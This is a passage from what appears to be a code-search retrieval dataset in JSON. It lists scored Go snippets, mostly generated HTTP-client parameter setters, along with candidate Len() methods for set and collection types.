"" }, { "docid": "ffc7a354d8edf2193a5c9e91c5b3e654", "score": "0.6302301", "text": "func (o *DeleteTargetPolicyParams) WithHTTPClient(client *http.Client) *DeleteTargetPolicyParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "4e1e825bb5bfda5ed0e71ef6e6114806", "score": "0.6298019", "text": "func (o *DeleteAppRuntimeParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "de5b6d4e0778858902c120a87011f1fc", "score": "0.62663925", "text": "func (o *CatalogProductAttributeManagementV1UnassignDeleteParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "1d44244f434b014c19cce12bb6845cd6", "score": "0.6232604", "text": "func (o *DeleteMainServiceAccountTokenParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "4416c1576566b231fe5ffeed0509fb0f", "score": "0.62220097", "text": "func (o *DeleteStreamParams) WithHTTPClient(client *http.Client) *DeleteStreamParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "fdeaf22f6f6164634b62ef6edaa9d458", "score": "0.62211543", "text": "func (o *LunAttributeDeleteParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "f91b6cb7b9fb86e0e60afaa641fd10bb", "score": "0.6210349", "text": "func (o *SalesRuleCouponManagementV1DeleteByIdsPostParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "562aae49a482ecec1e3c569fc4e869c4", "score": "0.62041724", "text": "func (o *DeleteIssueAttachmentOfIssueParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "1871685665e5e646f54940c8f85d7a2a", "score": "0.6194928", "text": "func (o *DeleteSitesByIDCartridgesByIDParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "207caac2991299dc992d9d983b63bd4b", "score": "0.61898315", "text": "func NewDeleteProtectedEntityParamsWithHTTPClient(client *http.Client) *DeleteProtectedEntityParams {\n\tvar ()\n\treturn &DeleteProtectedEntityParams{\n\t\tHTTPClient: client,\n\t}\n}", "title": "" }, { "docid": "9935949e9a01f817e2be5b7431978f2a", "score": "0.6185733", "text": "func (o *DcimFrontPortsBulkDeleteParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "061824b2d03289fc7735469148b140c0", "score": "0.6176547", "text": "func (o *DeleteHyperflexExtFcStoragePoliciesMoidParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "2c640bf7bd9e2f8817c572e40dcad7eb", "score": "0.6175762", "text": "func (o *DeleteStoragepoolTierParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "7dd82296942a695526bba9c0efb1d4b2", "score": "0.6151749", "text": "func (o *VaultDeleteAuthorizationForVaultSectionParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "011c7f149ea615f42b50f8101cfcf1f5", "score": "0.61507124", "text": "func (o *DeleteRecipeParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "c55b7c1c54119524882313b61d9d09ab", "score": "0.6149073", "text": "func (o *IgroupNestedDeleteParams) WithHTTPClient(client *http.Client) *IgroupNestedDeleteParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "556093e5ffba366fe4bc1e8eb08ed8a2", "score": "0.6146627", "text": "func (o *DeleteLogicalRouterParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "df0e637325998c9436981da63ed9119b", "score": "0.6144839", "text": "func (o *DeleteAlarmsParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "8531efd2fdb94095a3f40a12b4a35354", "score": "0.6115297", "text": "func (o *DeleteLTENetworkIDSMSSMSPkParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "7d78053f9dad80807cf90b7829390152", "score": "0.611149", "text": "func (o *SingleAdminDeleteChannelParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "23cf1c3d20e7b7b954688e24fcc29882", "score": "0.6104826", "text": "func (o *DeleteInventoryModelParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "84a273e5ecd670f7e448fcddfb855e6a", "score": "0.6099301", "text": "func (o *DeleteRouteParams) WithHTTPClient(client *http.Client) *DeleteRouteParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "4b1226b231acf5aa4b7f44290de0284c", "score": "0.6092631", "text": "func (o *DeleteStoragepoolTierParams) WithHTTPClient(client *http.Client) *DeleteStoragepoolTierParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "c01588084810f5c0d429f12570592616", "score": "0.6087718", "text": "func (o *DeleteRecipeParams) WithHTTPClient(client *http.Client) *DeleteRecipeParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "1993b7dc552151d6f9bb9e127b5bea1b", "score": "0.60780525", "text": "func (o *DeleteNotificationRuleParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "98d8c8cddb8f78a6b12a477706a512dd", "score": "0.60659015", "text": "func (o *DeleteAdmissionregistrationV1MutatingWebhookConfigurationParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "2c87d53ea9d920cb71d6ce82ed283a90", "score": "0.6056743", "text": "func (o *DeleteSettingsKrb5RealmParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "4695f5d3f70b0e48ad3dc0edd62bbbb7", "score": "0.6050245", "text": "func NewDeleteCpeParamsWithHTTPClient(client *http.Client) *DeleteCpeParams {\n\tvar ()\n\treturn &DeleteCpeParams{\n\t\tHTTPClient: client,\n\t}\n}", "title": "" }, { "docid": "35f14a99aa488b0f62e855b3d83edf70", "score": "0.6036771", "text": "func (o *DeleteNodePoolConfigItemParams) WithHTTPClient(client *http.Client) *DeleteNodePoolConfigItemParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "3c63ea2af8c74a63af2a0f711357a599", "score": "0.60248417", "text": "func NewDeleteSSHKeyParamsWithHTTPClient(client *http.Client) *DeleteSSHKeyParams {\n\tvar ()\n\treturn &DeleteSSHKeyParams{\n\t\tHTTPClient: client,\n\t}\n}", "title": "" }, { "docid": "7d6e55b092ac54ee686fd3e431f71ce8", "score": "0.601033", "text": "func (o *ExchangeDeleteListParams) WithHTTPClient(client *http.Client) *ExchangeDeleteListParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "5c8bcf47146abcca2cca5bc3c1ca22f8", "score": "0.6009949", "text": "func NewDeletePrefilterParamsWithHTTPClient(client *http.Client) *DeletePrefilterParams {\n\tvar ()\n\treturn &DeletePrefilterParams{\n\t\tHTTPClient: client,\n\t}\n}", "title": "" }, { "docid": "9eba36b76186450ab15810d1d6191cc0", "score": "0.6008053", "text": "func (o *SnaplockRetentionPolicyDeleteParams) WithHTTPClient(client *http.Client) *SnaplockRetentionPolicyDeleteParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "e562df5333c8742011981a4df8dcd8ef", "score": "0.5991635", "text": "func (o *DeleteCountryParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "1b7d1d4cbc2c5c918f556d7c523fd923", "score": "0.5991173", "text": "func (o *RoleDeleteListParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "53b56dcd57ddba1cd488d2d524dea6ed", "score": "0.5978753", "text": "func (o *MonitorGroupDeleteMonitorGroupParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "e114e49228009d0dd07468484d8db36a", "score": "0.5968012", "text": "func (o *DeleteProjectTriggerSpacesParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "8bd2a175b238692a350bd31d1f7763d3", "score": "0.59598887", "text": "func (o *RepoDeleteTopicParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "2fd17253562816ff286f4ef547524415", "score": "0.5944331", "text": "func (o *ListsByListIDDeleteParams) WithHTTPClient(client *http.Client) *ListsByListIDDeleteParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "d9021af9c5a4da398ccafc3b15dbf7e2", "score": "0.59418064", "text": "func (o *DeleteAppRuntimeParams) WithHTTPClient(client *http.Client) *DeleteAppRuntimeParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "c58d7d9ff957fb26b2f6314b0de955a5", "score": "0.5939671", "text": "func (o *DeleteSensorUsingDELETEParams) WithHTTPClient(client *http.Client) *DeleteSensorUsingDELETEParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "7763cc2a8d741a82b7f0711ca8a30e31", "score": "0.5925836", "text": "func (o *DeleteLTENetworkIDSMSSMSPkParams) WithHTTPClient(client *http.Client) *DeleteLTENetworkIDSMSSMSPkParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "c68fe631a046e3670233558f21c69120", "score": "0.59210783", "text": "func NewDeleteStreamParamsWithHTTPClient(client *http.Client) *DeleteStreamParams {\n\tvar ()\n\treturn &DeleteStreamParams{\n\t\tHTTPClient: client,\n\t}\n}", "title": "" }, { "docid": "be8e668fc07dfdb3c8ee7f6d0cceb7ea", "score": "0.5920477", "text": "func (o *DeleteThemeParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "55083bb00d5d3b33a01f3696189cced8", "score": "0.59005946", "text": "func (o *RevokeParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "0172802561ec87c0cae951ea1ec71f43", "score": "0.5882378", "text": "func (o *StorageServiceRemoveNodePostParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "4845ae24e3e4fd07bb7ac068fdde5ac9", "score": "0.5880385", "text": "func (o *SnapmirrorRelationshipDeleteParams) WithHTTPClient(client *http.Client) *SnapmirrorRelationshipDeleteParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "ae11a4e79bae30566ba9874616d68834", "score": "0.58733547", "text": "func (o *DeleteCustomersCustomerFidAddressesAddressFidParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "68a0a91a46e2ab24c4aea1f06628eae1", "score": "0.5864375", "text": "func (o *DeleteAdmissionregistrationV1MutatingWebhookConfigurationParams) WithHTTPClient(client *http.Client) *DeleteAdmissionregistrationV1MutatingWebhookConfigurationParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "4a5881e45dc20e0666906a2b76edfae0", "score": "0.5854498", "text": "func (o *DeleteAlarmsParams) WithHTTPClient(client *http.Client) *DeleteAlarmsParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "ee6f3c7c2caa0e1e44f27d81aa55b9a2", "score": "0.5840404", "text": "func (o *DeleteAuthRoleParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "444819e9990d840a0737dd2e3bc2a1b4", "score": "0.58289206", "text": "func (o *CreateClusterPatchAbortItemParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "df0e25d5d71ab1ba17560cfbec1d88ef", "score": "0.58276945", "text": "func (o *AddInstanceParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "eb7c254e9b653ac3e839e47dabb92e04", "score": "0.58195645", "text": "func NewDeleteCommandUsingDELETEParamsWithHTTPClient(client *http.Client) *DeleteCommandUsingDELETEParams {\n\tvar ()\n\treturn &DeleteCommandUsingDELETEParams{\n\t\tHTTPClient: client,\n\t}\n}", "title": "" }, { "docid": "08c7614f7aeafeda4604f1a5c27f6291", "score": "0.5817854", "text": "func NewDeleteRecipeParamsWithHTTPClient(client *http.Client) *DeleteRecipeParams {\n\tvar ()\n\treturn &DeleteRecipeParams{\n\t\tHTTPClient: client,\n\t}\n}", "title": "" }, { "docid": "6d911e33cf7f5f4a960b83b11c2ddc9d", "score": "0.5807076", "text": "func (o *DeleteVcsRootEntryParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "509f5c23e0f6e51f46983040e0356980", "score": "0.58045095", "text": "func (o *DisruptionsGetDisruptionByIDParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "4a1662167a72889718d856cebb470e82", "score": "0.5797876", "text": "func (o *StorageServiceStopDaemonPostParams) SetHTTPClient(client *http.Client) {\n\to.HTTPClient = client\n}", "title": "" }, { "docid": "e7cdc8a4cf2d84d47a4816d12eb4b6ce", "score": "0.5788875", "text": "func NewDeleteGatewayUsingDELETEParamsWithHTTPClient(client *http.Client) *DeleteGatewayUsingDELETEParams {\n\tvar ()\n\treturn &DeleteGatewayUsingDELETEParams{\n\t\tHTTPClient: client,\n\t}\n}", "title": "" }, { "docid": "b72e42d425877e7708166cbce5066aed", "score": "0.5785973", "text": "func (o *LunAttributeDeleteParams) WithHTTPClient(client *http.Client) *LunAttributeDeleteParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" }, { "docid": "8eb7813c8bb5d27cd530dfea6e4608b5", "score": "0.577556", "text": "func (o *DeleteSyncPolicyParams) WithHTTPClient(client *http.Client) *DeleteSyncPolicyParams {\n\to.SetHTTPClient(client)\n\treturn o\n}", "title": "" } ]
49f116ade380a5ddf7c60e7ef77cde85
Len returns the number of elements of this set
[ { "docid": "e2c1e2c7e9f215005590582b992a7f58", "score": "0.7486325", "text": "func (s Uint32Set) Len() int {\n\treturn len(s)\n}", "title": "" } ]
[ { "docid": "ca748524f19dde9fb9a44af104123399", "score": "0.87519", "text": "func (s *Set) Len() int { return int(s.count) }", "title": "" }, { "docid": "09a6e1ab13e39858113918fe38febb4e", "score": "0.8641411", "text": "func (this *Set) Length() int {\n\treturn len(this.elements)\n}", "title": "" }, { "docid": "0f719bc57876868a5e0cafc4f224f669", "score": "0.85193056", "text": "func (s *Set) Len() int {\n\treturn len(s.dense)\n}", "title": "" }, { "docid": "54cf1090ad77a3552797a4ae5b25a3c3", "score": "0.84378755", "text": "func (s *Set) Len() int {\n\treturn len(s.data)\n}", "title": "" }, { "docid": "0c74288581e0f7d87dcc5aa031c33083", "score": "0.84223187", "text": "func (set *Set[T]) Length() int {\n\treturn len(set.Set)\n}", "title": "" }, { "docid": "6d66df3ffd2090e73c733afaa2d64792", "score": "0.8402179", "text": "func (s *Set) Len() int {\n\treturn len(s.set)\n}", "title": "" }, { "docid": "e87dc466b5130af5350a47cd606a59f7", "score": "0.8352312", "text": "func (set Set[T]) Len() int {\n\treturn len(set)\n}", "title": "" }, { "docid": "66bd9044a494d7cc680a8a85074a48c0", "score": "0.83307284", "text": "func (h *HashSet) Len() int {\n\treturn len(h.set)\n}", "title": "" }, { "docid": "6280e99c4ef027bedba379bc97ae231c", "score": "0.83152187", "text": "func (s Set) Length() int {\n\tvar count int\n\tfor _, bucket := range s.vals {\n\t\tcount = count + len(bucket)\n\t}\n\treturn count\n}", "title": "" }, { "docid": "4e7cce20034d9680de255d44dfcdb560", "score": "0.8314193", "text": "func (s *IPFixSet) Len() int {\n\tn := 4\n\tfor j := range s.SetEntries {\n\t\tn += s.SetEntries[j].Len()\n\t}\n\ts.Length = uint16(n)\n\treturn n\n}", "title": "" }, { "docid": "f9d167222b37b6b9b5592d8ef2645235", "score": "0.82841325", "text": "func (s *Set) Len() int {\n\treturn len(*s)\n}", "title": "" }, { "docid": "f1bcdce4bf8f39a58ec39dce4becd0b3", "score": "0.82807386", "text": "func (s *Set) Length() int {\n\treturn len(s.Set)\n}", "title": "" }, { "docid": "ac2c6380fcc5da97de3fa4f32f8745f4", "score": "0.82057863", "text": "func (s Set[T]) Len() int {\n\treturn len(s)\n}", "title": "" }, { "docid": "59f0fec9e8241111a0e2667addb42582", "score": "0.8182571", "text": "func (s Set[K]) Len() int {\n\treturn len(s)\n}", "title": "" }, { "docid": "5999d6db6abf68410d59ff3de79263f3", "score": "0.8179932", "text": "func (s IDSet) Len() int {\n\treturn len(s)\n}", "title": "" }, { "docid": "dd02a7cfc0201c516ceb077ab110e626", "score": "0.817744", "text": "func (s *IntSet) Len() int {\n\treturn len(s.data)\n}", "title": "" }, { "docid": "dea4eb536ea7887dac486a14de884066", "score": "0.8165986", "text": "func (g GSet) Len() int {\n\treturn len(g)\n}", "title": "" }, { "docid": "c7c51f0f5addaa2e43fefea44c591527", "score": "0.8134624", "text": "func (s Set) Len() int {\n\tif s.infinite {\n\t\treturn -1\n\t}\n\treturn len(s.items)\n}", "title": "" }, { "docid": "a6cad7e02cb5858c5f9fae4df94497e1", "score": "0.8125602", "text": "func (s *IntSet) Len() int {\n\ttotal := 0\n\tfor _, tword := range s.words {\n\t\ttotal += popCount(tword)\n\t}\n\treturn total\n}", "title": "" }, { "docid": "9f1808e8eb5f9c084ac24da21997ea7b", "score": "0.80978405", "text": "func (tr *Set[K]) Len() int {\n\treturn tr.base.Len()\n}", "title": "" }, { "docid": "908ab71c5d39be3fbbc261df9b85a277", "score": "0.80890673", "text": "func (s IntSet) Len() int {\n\treturn len(s)\n}", "title": "" }, { "docid": "3448ab1e6cb3a1824fc577c080ca1a33", "score": "0.80846334", "text": "func (this Set) Len() int {\n\treturn len(this)\n}", "title": "" }, { "docid": "a96c63833499fbd8aa3e5cc8465b978d", "score": "0.8049577", "text": "func (s UintSet) Len() int {\n\treturn len(s)\n}", "title": "" }, { "docid": "1d612a42615370b6fe86bf520121d722", "score": "0.80227166", "text": "func (s Int64Set) Len() int {\n\treturn len(s)\n}", "title": "" }, { "docid": "53e3f1741385b13f55db1b25157cf066", "score": "0.8003348", "text": "func (s *Set) Len() int32 {\r\n\treturn s.length\r\n}", "title": "" }, { "docid": "64ba8217f40165394b54f1660475e3a2", "score": "0.7972922", "text": "func (s bitSet) len() int {\n\tn := 0\n\tfor _, x := range s {\n\t\tn += bits.OnesCount64(x)\n\t}\n\treturn n\n}", "title": "" }, { "docid": "f081d8c224476faaa15f83d5fe92166a", "score": "0.7972584", "text": "func (set StringSet) Len() int {\n\treturn len(set)\n}", "title": "" }, { "docid": "f081d8c224476faaa15f83d5fe92166a", "score": "0.7972584", "text": "func (set StringSet) Len() int {\n\treturn len(set)\n}", "title": "" }, { "docid": "ee2c3d4ac524ae2963868cbecc45d63b", "score": "0.7963765", "text": "func (s *TSet) Length() int {\n\treturn s.root.Length()\n}", "title": "" }, { "docid": "18465de103fb9c4bb2de6177832b09ab", "score": "0.79130495", "text": "func (s Uint64Set) Len() int {\n\treturn len(s)\n}", "title": "" }, { "docid": "40d97dee67ebd3f5a39bc6b10cec9ee6", "score": "0.79120374", "text": "func (m Set) Len() int {\n\treturn len(m.Raw)\n}", "title": "" }, { "docid": "a5fbf8b6eeb364515fbdf8148e184d17", "score": "0.7881952", "text": "func (z *Zset) Len() (int, error) {\n\tv, err := z.store.Do(z.key, zset.Len)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tlength, ok := v.(int)\n\tif !ok {\n\t\treturn 0, newTypeErr(length, v)\n\t}\n\n\treturn length, nil\n}", "title": "" }, { "docid": "6e3a6aeb605bc1c118c60baa1496e6dc", "score": "0.78561574", "text": "func (s Set) Len() int {\n\treturn len(s.store)\n}", "title": "" }, { "docid": "ade566f226daccc32fcc7bda2726a668", "score": "0.7788336", "text": "func (s *IntSet) Len() int {\n\tlength := 0\n\tfor _, v := range s.words {\n\t\tif v == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tcount:=0\n\t\tfor v !=0 {\n\t\t\tcount++\n\t\t\t// a&(a-1)会把最右边的一个1变成0\n\t\t\tv = v&(v-1)\n\t\t}\n\t\tlength += count\n\t\t//var sig uint = 1\n\t\t//for i := 0; i < intSize; i++ {\n\t\t//\tif v&sig != 0 {\n\t\t//\t\tlength++\n\t\t//\t}\n\t\t//\tsig = sig << 1\n\t\t//}\n\t}\n\treturn length\n}", "title": "" }, { "docid": "47c9c127340837c560cfca4b1c853b09", "score": "0.7787943", "text": "func (s *syncDigestSet) len() int {\n\ts.Lock()\n\tdefer s.Unlock()\n\n\treturn len(s.members)\n}", "title": "" }, { "docid": "d75b0ca925bc9ae077ae48da80fea94e", "score": "0.7754501", "text": "func (s *IntSet) Len() int {\n\tcounts := 0\n\tfor _, word := range s.words {\n\t\tfor word > 0 {\n\t\t\tif word & 1 == 1 {\n\t\t\t\tcounts++\n\t\t\t}\n\t\t\tword >>= 1\n\t\t}\n\t}\n\treturn counts\n}", "title": "" }, { "docid": "34f2eb2b0d8cdef5aab2cb98cbfd4f76", "score": "0.7736059", "text": "func (ipfixset *Set) Len() uint16 {\n\tsetlen := uint16(4) //We start out with 2 bytes for ID and 2 bytes for length\n\tfor _, rec := range ipfixset.Records {\n\t\tsetlen += (*rec).Len()\n\t}\n\tif ipfixset.Padding > 0 {\n\t\tsetlen += (ipfixset.Padding - (setlen % ipfixset.Padding)) % ipfixset.Padding\n\t}\n\treturn setlen\n}", "title": "" }, { "docid": "6531fb1728db97e9ca96193445590db8", "score": "0.76997757", "text": "func (s StringSet) Len() int {\n\treturn len(s)\n}", "title": "" }, { "docid": "cc61fbba6be81122e5d3d0925f9d85ea", "score": "0.76645094", "text": "func (nass NetworkAddressSortedSet) Len() int {\n\treturn nass.slice.Len()\n}", "title": "" }, { "docid": "6044a3d3e300daaef96cca99101683af", "score": "0.76387995", "text": "func (s *IntSet) Len() int {\n\tvar n int\n\tfor _, word := range s.words {\n\t\tif word == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tfor j := 0; j < intSize; j++ {\n\t\t\tif word&(1<<uint(j)) != 0 {\n\t\t\t\tn++\n\t\t\t}\n\t\t}\n\t}\n\treturn n\n}", "title": "" }, { "docid": "33d389c17f26663ef619e3749d825179", "score": "0.76258004", "text": "func (p elements) Len() int { return len(p) }", "title": "" }, { "docid": "98064fb8cd06976336e68e9b9ea5d11f", "score": "0.76121473", "text": "func (s *SampleSet) Len() int {\n\treturn len(s.Poems)\n}", "title": "" }, { "docid": "d21ab16d07235cecb49f1f4731518d4a", "score": "0.76094735", "text": "func (m MoveSet) Len() int {\n\treturn samegame.Hand(m).Len()\n}", "title": "" }, { "docid": "aa28addd1b8cf2a047de23f18af4e3e7", "score": "0.76022744", "text": "func (s *Set) Size() int {\n\treturn len(s.values)\n}", "title": "" }, { "docid": "a03d6f4e9525dcc3cc68b3e11bd3731c", "score": "0.76019466", "text": "func (s *MethodSet) Len() int", "title": "" }, { "docid": "69425d35342c74ec1924d5393d46cd70", "score": "0.75607634", "text": "func (a *Array) Len() int64", "title": "" }, { "docid": "aae6067db8b2032a44f7d7aa2bf29309", "score": "0.75481904", "text": "func (s Float64Set) Len() int {\n\treturn len(s)\n}", "title": "" }, { "docid": "99c82abdcce848e2acf1f70d5566cf29", "score": "0.7545546", "text": "func (s Int32Set) Len() int {\n\treturn len(s)\n}", "title": "" }, { "docid": "957673664e4ee5ea589661c50e3d5f50", "score": "0.7539855", "text": "func (s *Set) Size() int { return len(s.symb2str) }", "title": "" }, { "docid": "a900fb60957a51cdc93d30ec54c6577d", "score": "0.75374866", "text": "func (s *PathElementSet) Size() int { return len(s.members) }", "title": "" }, { "docid": "bd116b976a3cff9f9a71c620da02f3b5", "score": "0.7513994", "text": "func (s *Set) Size() int {\n\treturn len(s.m)\n}", "title": "" }, { "docid": "bd116b976a3cff9f9a71c620da02f3b5", "score": "0.7513994", "text": "func (s *Set) Size() int {\n\treturn len(s.m)\n}", "title": "" }, { "docid": "be09e716402713b84dc86ff2bd94fb24", "score": "0.75093466", "text": "func (s *Set) Size() int {\n\treturn len(s.intervals)\n}", "title": "" }, { "docid": "2c8afc1726894a9aea673a14ccc95db2", "score": "0.7492452", "text": "func (s *Set) Size() int {\n\treturn Len_L(s)\n}", "title": "" }, { "docid": "82244cc668917f057fe7da26bde9b7ba", "score": "0.74795943", "text": "func (set StrHashset) Size() int {\n\treturn len(set.values)\n}", "title": "" }, { "docid": "68467ed1742eea18d6ff450a2eeaf099", "score": "0.74758404", "text": "func (s Uint16Set) Len() int {\n\treturn len(s)\n}", "title": "" }, { "docid": "d1a2bb191b36842035b55c37cbc75f92", "score": "0.74615496", "text": "func (s NetworkEndpointSet) Len() int {\n\treturn len(s)\n}", "title": "" }, { "docid": "a1dcafef08a0894e646337c6b7a29acb", "score": "0.74610007", "text": "func (v *vector) Len() int { return v.elements.Len() }", "title": "" }, { "docid": "230a778f8bbce842e255e05ae9ce3088", "score": "0.7449019", "text": "func (s *SliceComplex64) Len() int {\n\treturn s.Count()\n}", "title": "" }, { "docid": "8a9c02d8c8153e1743399590c0e2e380", "score": "0.7446489", "text": "func (s Int16Set) Len() int {\n\treturn len(s)\n}", "title": "" }, { "docid": "f6bf199b7df42e462cbfd6067fdcbb99", "score": "0.7411697", "text": "func (r SortedStringSet) Size() int { return r.root.size() }", "title": "" }, { "docid": "d729f5df2405db15ffc894f71bd5d750", "score": "0.7405122", "text": "func (set *Set) Size() int {\n\tset.lock.RLock()\n\tdefer set.lock.RUnlock()\n\n\treturn len(set.set)\n}", "title": "" }, { "docid": "d38e585b29a053d2b259473e86bd2b5c", "score": "0.74027205", "text": "func (elem *collectionElemImpl) Len() (l int) {\n\tswitch v := elem.collection.(type) {\n\tcase []Element:\n\t\tl = len(v)\n\tcase map[string]Element:\n\t\tl = len(v)\n\t}\n\treturn l\n}", "title": "" }, { "docid": "4f2c234fb487419d0477d92600810978", "score": "0.7381782", "text": "func (s Float32Set) Len() int {\n\treturn len(s)\n}", "title": "" }, { "docid": "a9386d74443697ef1985f355a06763fa", "score": "0.7381468", "text": "func (tes TagEntriesSlice) Len() int {\n\treturn len(tes)\n}", "title": "" }, { "docid": "616bcfeeb336f0bb0effb92c12180fd0", "score": "0.7366844", "text": "func (b *BitSet) Len() uint {\n\treturn b.length\n}", "title": "" }, { "docid": "616bcfeeb336f0bb0effb92c12180fd0", "score": "0.7366844", "text": "func (b *BitSet) Len() uint {\n\treturn b.length\n}", "title": "" }, { "docid": "6aa02a4cec667b78e30828265f561e14", "score": "0.7328154", "text": "func (s *Set) Size() int {\n\ts.lock.RLock()\n\tdefer s.lock.RUnlock()\n\treturn len(s.items)\n}", "title": "" }, { "docid": "93479b50c821c879effa82adaf6bd9b0", "score": "0.7325411", "text": "func (is IdentifierSlice) Len() int {\n\treturn len(is)\n}", "title": "" }, { "docid": "562594bd773f77f7373a7eb335d09322", "score": "0.72933096", "text": "func (s *HashSet[T, H]) Size() int {\n\treturn len(s.items)\n}", "title": "" }, { "docid": "b8a8f73f2d1e765e223e9fb0a1fedcbd", "score": "0.7293197", "text": "func (r *RangeSafeCollection) Length() int {\n\tr.valueLock.RLock()\n\tlength := len(r.valueMap)\n\tr.valueLock.RUnlock()\n\treturn length\n}", "title": "" }, { "docid": "5b7624c75c4c8abbd9c2f472b1236c50", "score": "0.72878927", "text": "func (x uints) Len() int { return len(x) }", "title": "" }, { "docid": "8139a6ec0d1afbb574c2a2c84fe35afd", "score": "0.7280158", "text": "func (a *array) Len() int { return a.data.length }", "title": "" }, { "docid": "dbe650246cc3ca7ff7bb49d52c08a3d5", "score": "0.72771925", "text": "func (c *Collection) Len() int { return c.len }", "title": "" }, { "docid": "a22e9f5687ca0e2b0e49d7037ec59e47", "score": "0.7277118", "text": "func (m *TTLMap) Len() int {\n\treturn len(m.elements)\n}", "title": "" }, { "docid": "d8446ff55b3202c3556dd0de506ff648", "score": "0.72586745", "text": "func (ps *peerSet) Len() int {\n\tps.lock.RLock()\n\tdefer ps.lock.RUnlock()\n\n\treturn len(ps.peers)\n}", "title": "" }, { "docid": "b0ff089cc3dd51009bab2ebb14fb0877", "score": "0.7250419", "text": "func (e EntriesBySize) Len() int { return len(e) }", "title": "" }, { "docid": "6bae3c6b2571c95fabadd32523d4db95", "score": "0.7246558", "text": "func (l *LinkedHashSetString) Length() int {\n\treturn l.linkedHashMap.Length()\n}", "title": "" }, { "docid": "a09b79aa45e624b0cd59e798dc5b9c3b", "score": "0.7242101", "text": "func (a TripSlice) Len() int { return len(a) }", "title": "" }, { "docid": "9c738af467a1e011d990c16dce45f126", "score": "0.72322124", "text": "func (a byKey) Len() int { return len(a) }", "title": "" }, { "docid": "9c738af467a1e011d990c16dce45f126", "score": "0.72322124", "text": "func (a byKey) Len() int { return len(a) }", "title": "" }, { "docid": "20438fe339fcc164e234f0e999454010", "score": "0.7221719", "text": "func (a Analysis) Len() int {\n\treturn len(a.Data) / 2\n}", "title": "" }, { "docid": "4e1a7833f77ff9aafbe33699a48b4e34", "score": "0.7216382", "text": "func (ts uint64Slice) Len() int {\n\treturn len(ts)\n}", "title": "" }, { "docid": "bca2f5568235bfb6af622d0dde0866b2", "score": "0.7215758", "text": "func (s EntityCollection) Len() int {\n\treturn len(s)\n}", "title": "" }, { "docid": 